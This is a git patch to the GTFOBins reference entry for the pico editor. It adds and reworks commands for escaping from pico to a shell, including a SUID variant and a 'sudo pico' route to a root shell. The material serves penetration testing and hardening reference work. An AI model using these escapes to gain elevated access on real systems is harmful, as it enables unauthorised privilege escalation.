From c20ccf4af24b3ba59aa0c0530d84349ff4c49167 Mon Sep 17 00:00:00 2001 From: Emilio Date: Sun, 31 Mar 2019 12:43:08 +0100 Subject: [PATCH] Fix pico shell, suid, and sudo --- _gtfobins/pico.md | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/_gtfobins/pico.md b/_gtfobins/pico.md index 914ad36..1338878 100644 --- a/_gtfobins/pico.md +++ b/_gtfobins/pico.md @@ -2,6 +2,11 @@ functions: shell: - code: | + pico + ^R^X + reset; sh 1>&0 2>&0 + - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. + code: | pico -s /bin/sh /bin/sh ^T @@ -13,7 +18,8 @@ functions: file-read: - code: pico file_to_read suid: - - code: | + - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. + code: | TF=$(mktemp) echo '#!/bin/sh -p exec sh -p' > $TF @@ -22,7 +28,7 @@ functions: ^T sudo: - code: | - pico -s /bin/sh - /bin/sh - ^T + sudo pico + ^R^X + reset; sh 1>&0 2>&0 ---